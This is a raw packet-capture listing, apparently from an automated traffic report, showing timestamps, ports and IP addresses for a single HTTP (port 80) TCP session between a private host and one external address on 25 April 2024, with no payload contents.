Apr 25, 2024 14:42:10.528383017 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.528419018 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.528425932 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.528456926 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.528465986 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.528493881 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.528500080 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.528529882 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.528538942 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.528568029 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.528573036 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.528606892 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.528611898 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.528646946 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.528654099 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.528681040 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.528692007 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.528721094 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.528738022 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.528758049 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.528770924 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.528795004 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.528800011 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.528830051 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.528840065 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.528872967 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.528887033 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.528930902 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.528959990 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.528996944 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.529006958 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.529030085 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.529038906 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.529071093 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.529074907 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.529109955 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.529114962 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.529153109 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.529181004 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.529213905 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.529226065 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.529257059 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.529284954 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.529335022 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.529356956 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.529372931 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.529377937 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.529407978 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.529421091 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.529445887 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.529450893 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.529485941 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.529491901 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.529527903 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.529534101 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.529561996 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.529572964 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.529599905 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.529603958 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.529638052 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.529644966 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.529675961 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.529684067 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.529709101 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.529721022 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.529752016 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.529810905 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.529855967 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.530515909 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.530574083 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.530585051 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.530618906 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.530632019 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.530654907 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.530669928 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.530692101 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.530705929 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.530730963 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.530740023 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.530791998 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.530801058 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.530841112 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.530848026 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.530879974 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.530913115 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.530946970 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.530957937 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.530986071 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.576592922 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.576658964 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.576668024 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.576699018 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.576704979 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.576739073 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.576741934 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.576780081 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.576781988 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.576821089 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.576828003 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.576859951 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.576865911 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.576900005 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.576904058 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.576941967 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.576945066 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.576981068 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.576987982 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.577018976 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.577027082 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.577061892 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.577305079 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.577343941 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.577361107 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.577392101 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.577447891 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.577481985 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.577502012 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.577528954 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.577583075 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.577651978 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.577692032 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.577743053 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.577764034 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.577810049 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.578200102 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.578242064 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.578243017 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.578284979 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.578295946 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.578329086 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.578592062 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.578644037 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.578727961 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.578768015 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.578780890 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.578808069 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.578811884 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.578855991 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.578912973 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.578950882 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.578965902 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.578989983 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.579001904 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.579035044 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.579061985 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.579097986 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.579113007 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.579142094 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.579200983 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.579237938 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.579253912 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.579277992 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.579282999 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.579313993 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.579324961 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.579353094 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.579384089 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.579441071 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.579540968 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.579577923 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.579593897 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.579622030 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.579740047 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.579792023 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.580121040 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.580177069 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.580499887 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.580538988 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.580559969 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.580578089 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.580579996 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.580621958 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.580648899 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.580701113 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.580842018 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.580895901 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.581722021 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.581760883 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.581773043 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.581801891 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.581809998 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.581851006 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.581882000 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.581919909 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.581954956 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.581959963 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.581967115 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.581998110 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.582031965 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.582031965 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.582036972 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.582075119 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.582084894 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.582132101 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.582142115 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.582171917 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.582186937 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.582206964 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.582223892 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.582245111 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.582261086 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.582283020 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.582295895 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.582324982 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.582335949 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.582362890 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.582370996 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.582402945 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.582412004 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.582441092 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.582442999 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.582478046 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.582484961 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.582518101 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.582521915 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.582559109 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.582564116 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.582597971 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.582602978 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.582633018 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.582642078 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.582669973 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.582676888 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.582709074 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.582715034 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.582747936 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.582756996 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.582782030 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.582798004 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.582818985 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.582822084 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.582870007 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.582894087 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.582935095 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.582947969 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.582973957 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.582978010 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.583014011 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.583020926 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.583060026 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.583086967 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.583123922 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.583132982 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.583162069 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.583162069 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.583199978 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.583215952 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.583237886 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.583241940 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.583273888 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.583283901 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.583312988 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.583317995 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.583350897 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.583358049 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.583389997 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.583398104 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.583425999 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.583436012 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.583466053 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.583472013 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.583503962 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.583512068 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.583544016 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.583558083 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.583578110 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.583590031 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.583616018 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.583622932 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.583657026 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.583673000 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.583694935 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.583699942 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.583733082 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.583739996 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.583770990 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.583780050 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.583808899 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.583817005 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.583847046 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.583858013 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.583887100 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.583893061 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.583926916 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.583931923 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.583964109 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.583970070 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.584000111 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.584009886 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.584038973 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.584043980 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.584076881 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.584088087 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.584121943 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.584151030 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.584184885 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.584206104 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.584223986 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.584233046 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.584260941 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.584274054 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.584300041 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.584305048 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.584336042 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.584346056 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.584378004 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.621392965 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.621431112 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.621448040 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.621475935 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.621483088 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.621512890 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.621524096 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.621556997 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.630911112 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.630970001 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.631098986 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.631139040 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.631154060 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.631182909 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.631195068 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.631238937 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.631246090 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.631277084 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.631283998 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.631320953 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.631439924 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.631493092 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.631805897 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.631861925 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.631916046 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.631956100 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.631968975 CEST	49731	80	192.168.2.4	185.172.128.76
